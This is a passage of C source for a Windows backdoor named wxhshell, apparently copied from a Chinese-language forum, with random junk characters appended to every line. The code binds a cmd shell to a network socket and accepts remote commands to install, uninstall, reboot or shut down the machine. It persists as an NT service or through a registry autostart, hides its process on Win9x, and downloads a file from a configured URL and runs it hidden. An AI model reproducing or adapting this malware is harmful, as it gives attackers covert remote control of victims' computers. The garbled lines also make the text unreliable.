      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7Bzq,2s  
    break; - D  
  } 6}[I2F_^  
  // 安装 Ce9|=Jx!  
  case 'i': { XHK<AO^  
    if(Install()) ;c-(ObSm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |:q=T ~x  
    else H]{v;;'~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "7'J &^|  
    break; Vd,jlt.t  
    } ,Ys %:>?  
  // 卸载 p{amC ;cI$  
  case 'r': { ]'!f28Ng-  
    if(Uninstall()) `w#Oih!6A|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I5 o)_nc  
    else VRWAm>u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bv]`!g: C  
    break; jVv0ST*z  
    } `5cKA;j>b  
  // 显示 wxhshell 所在路径 L-jJg,eY  
  case 'p': { R]}}$R`j  
    char svExeFile[MAX_PATH]; H[s(e5 6z  
    strcpy(svExeFile,"\n\r"); y I HXg#  
      strcat(svExeFile,ExeFile); nhB1D-  
        send(wsh,svExeFile,strlen(svExeFile),0); lGPUIoUo  
    break; m ,* QP*  
    } mXRB7k  
  // 重启 NPhhD&W_  
  case 'b': { 2Nu=/tMN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cv-PRH#  
    if(Boot(REBOOT)) 1L%CJ+Q#0i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yzbx .  
    else {  8{wwd:6  
    closesocket(wsh); 9_# >aOqL  
    ExitThread(0); q.KG^=10  
    } 63q^ $I  
    break; q}`${3qQ3  
    } k$R~R-'  
  // 关机 ;,C)!c&  
  case 'd': { 7L`A{L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); prC;L*~8  
    if(Boot(SHUTDOWN)) aGrIQq/k)%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j@W.&- _  
    else { :#LLo}LKp  
    closesocket(wsh); p#01gB  
    ExitThread(0); u!!Y=!y*<  
    } 4^p5&5F  
    break; !^^?dRd*v  
    } a=1NED'  
  // 获取shell |jQ:~2U|   
  case 's': { W3]_m8,Z  
    CmdShell(wsh); l Q'I  
    closesocket(wsh); <Y*+|T+&d  
    ExitThread(0); j2Cks_$:  
    break; Fz3fwLawI  
  } )bS~1n_0  
  // 退出 .R) D3NZp  
  case 'x': { HKU~UTRnZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^WHE$4U`  
    CloseIt(wsh); ) brVduB  
    break; LIS)(X<]?  
    } I!^;8Pg  
  // 离开 qIVx9jNN  
  case 'q': { aH 4c02s$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K0H'4' I  
    closesocket(wsh); di?K"Z>  
    WSACleanup(); Z8# (kmBdB  
    exit(1); SFB~ ->db  
    break; H;?{BV  
        } "8c@sHk(w  
  } oo,uO;0G  
  } T?:Rdo!:u  
H(R1o~  
  // 提示信息 _4rFEYz$d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9)y/:sO<P  
} qmnZAk  
  } QP@%(]fG  
||T2~Q*:y  
  return; iWei  
} O}tZ - 'T  
Ky|88~}:C9  
// shell模块句柄 e>7]w,*|  
int CmdShell(SOCKET sock) ?i)f^O  
{  !;EjB*&  
STARTUPINFO si; k'gh  
ZeroMemory(&si,sizeof(si)); N96jJk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G'rxXJq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n1qQ+(xC  
PROCESS_INFORMATION ProcessInfo; (hTCK8HK  
char cmdline[]="cmd"; P7J>+cm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >NqYyW,%  
  return 0; __`*dL>*  
} p`mS[bxv!  
X'wE7=29M  
// 自身启动模式 #,S0HDDHn  
int StartFromService(void) a#^B2  
{ G3{Q"^S"  
typedef struct ;>5 06jZ  
{ vbkI^+=,YY  
  DWORD ExitStatus; .clP#r{U  
  DWORD PebBaseAddress; *7*lE"$p  
  DWORD AffinityMask; *n; !G8\  
  DWORD BasePriority; Q Btnx[  
  ULONG UniqueProcessId; R#xCkl-  
  ULONG InheritedFromUniqueProcessId; JCz@s~f\y  
}   PROCESS_BASIC_INFORMATION; lwHzj&/ ~  
P.6nA^hXB  
PROCNTQSIP NtQueryInformationProcess; %dJX-sm@  
D Gr> 2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qgE 73.!`6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^=C{.{n  
0F@"b{&0  
  HANDLE             hProcess; _Bj)r}~7#  
  PROCESS_BASIC_INFORMATION pbi; x6(~;J  
lFa02p0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =2Bg9!zW>  
  if(NULL == hInst ) return 0; :Mb%A  
F\fWvXdW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g$( V^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^9^WuSq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n_$ :7J  
dArDP[w  
  if (!NtQueryInformationProcess) return 0; `n$I]_}/%  
F_Z- 8>P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /[O(ea$U  
  if(!hProcess) return 0; %TX@I$Ba  
J%x6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b}0,\B%  
}xBc0g r  
  CloseHandle(hProcess); +lJG(Qd  
/3;4#:Kkw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Is]aj-#r  
if(hProcess==NULL) return 0; gfsI6/Y  
a-l; vDs  
HMODULE hMod; T;@;R %  
char procName[255]; +#GQ,  
unsigned long cbNeeded; q2. XoCf  
cU ? 0(z7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eAX )^q  
Wi[~fI8^!  
  CloseHandle(hProcess); VS9`{  
vN|l\!~  
if(strstr(procName,"services")) return 1; // 以服务启动 >wb 'QzF:  
&n6$rBr %  
  return 0; // 注册表启动 [!}:KD2yX  
} M>&%(4K  
b`)){LR  
// 主模块 j;s"q]"x]  
int StartWxhshell(LPSTR lpCmdLine) GKvN* SU=  
{ t=_J9|  
  SOCKET wsl; 1"/He ` 4  
BOOL val=TRUE; P8^hBv*  
  int port=0; '&.#  
  struct sockaddr_in door; {z(xFrY  
ZZcEt  
  if(wscfg.ws_autoins) Install(); [ j3&/  
h.-@ F  
port=atoi(lpCmdLine); GytXFL3`:  
4AG\[f 8q  
if(port<=0) port=wscfg.ws_port; S|apw7C  
Y|8:;u'  
  WSADATA data; JL\w_v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rF aF Bd  
*.\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hF@Gn/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Mu{;vf|j  
  door.sin_family = AF_INET; BZud) l24  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 58%#DX34M  
  door.sin_port = htons(port); uHAT#\m:  
 1WY/6[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dFH$l  
closesocket(wsl); mjWU0Gh%*  
return 1; X5X?&* %{  
} cgl*t+o&  
kqce[hgs<  
  if(listen(wsl,2) == INVALID_SOCKET) { C0S^h<iSe*  
closesocket(wsl); Z9575CI<  
return 1; oI}kH=<,  
} |tv"B@`  
  Wxhshell(wsl); TJ: ]SB  
  WSACleanup(); :4MB]v[K  
F)s{PCl  
return 0; 0Z0:,!  
9cEv&3  
} YqPQ%  
vC1v"L;[o/  
// 以NT服务方式启动 yY[<0|o u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A5i:x$ww  
{ H^.IY_I`U*  
DWORD   status = 0; t Z`z  
  DWORD   specificError = 0xfffffff; Q$:![}[(  
:>TEDy~O%  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  .&9 i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hGbj0   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :WSDf VX  
  serviceStatus.dwWin32ExitCode     = 0; NPd%M  
  serviceStatus.dwServiceSpecificExitCode = 0; ;5tazBy&:C  
  serviceStatus.dwCheckPoint       = 0; M/):e$S  
  serviceStatus.dwWaitHint       = 0; l5g$vh\aQ]  
Ee@4 %/v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v.:3"<ur}  
  if (hServiceStatusHandle==0) return; [5uRS}!  
(tCUlX2  
status = GetLastError(); /v/C<]  
  if (status!=NO_ERROR) wKi^C 8Z2  
{ ^bc;[x&N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 05snuNt]-  
    serviceStatus.dwCheckPoint       = 0; txcf=)@>V  
    serviceStatus.dwWaitHint       = 0; /F4pb]U!*  
    serviceStatus.dwWin32ExitCode     = status; E\IlF 6  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^=:9)CNw(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pfm_@'8  
    return; Pt&(npjN,  
  } 0H0-U'l  
?W0)nQU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 63.wL0~  
  serviceStatus.dwCheckPoint       = 0; 549jWG  
  serviceStatus.dwWaitHint       = 0; ,oNOC3 U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RPIyO  
} ZxlAk+<]  
?UK|>9y}Z  
// 处理NT服务事件,比如:启动、停止 KAsS [  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {@<J_ A  
{ -AhwI  
switch(fdwControl) `u.t[  
{ QT9n,lX  
case SERVICE_CONTROL_STOP: lip[n;Ir>  
  serviceStatus.dwWin32ExitCode = 0; xS7$%w['  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3d-%>?-ee  
  serviceStatus.dwCheckPoint   = 0; eL4NB$Fb  
  serviceStatus.dwWaitHint     = 0; ?d4m!HgR   
  { fZxIY,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >yXN,5d[  
  } nOQa_G]Gz  
  return; 3SSm5{197  
case SERVICE_CONTROL_PAUSE: ?KITC;\\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >7roe []-|  
  break; Y3h/~bM%  
case SERVICE_CONTROL_CONTINUE: *]h`KxuO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r?CI)Y;  
  break; ? tfT8$  
case SERVICE_CONTROL_INTERROGATE: 16L]=&@  
  break; RJy=pNztm  
}; 7@6g<"I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;SwMu@tg  
} 1yV: qp  
S,U Pl}KF  
// 标准应用程序主函数 MWNPPYww  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oQv3GpO  
{ -!0_:m3  
* ,v|y6  
// 获取操作系统版本 q %0Cg=  
OsIsNt=GetOsVer(); XX1Il;1G#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); AW#<i_Ybf  
[xh*"wT#g  
  // 从命令行安装 ,-+"^>  
  if(strpbrk(lpCmdLine,"iI")) Install(); QZX~T|Ckv  
2"fO6!hh  
  // 下载执行文件 SlSM+F  
if(wscfg.ws_downexe) { ^1Xt]T`e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c8Q]!p+Yp  
  WinExec(wscfg.ws_filenam,SW_HIDE); l88A=iLgv  
} 0wFH!s/B  
)HD`O~M>  
if(!OsIsNt) { ?0_7?yTR/  
// 如果时win9x,隐藏进程并且设置为注册表启动 @\w,otT  
HideProc(); W5/0`[4  
StartWxhshell(lpCmdLine); +,v-=~5  
} YUQtMf9  
else N~g :Wf!  
  if(StartFromService()) jKZt~I  
  // 以服务方式启动 ^uS/r#l  
  StartServiceCtrlDispatcher(DispatchTable); Z+pom7A"E  
else mp~{W  
  // 普通方式启动 B/Gd(S`@q  
  StartWxhshell(lpCmdLine); #k<":O  
aS|wpm)K>8  
return 0; ;WT{|z  
}
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只看该作者 1 发表于: 2006-10-10
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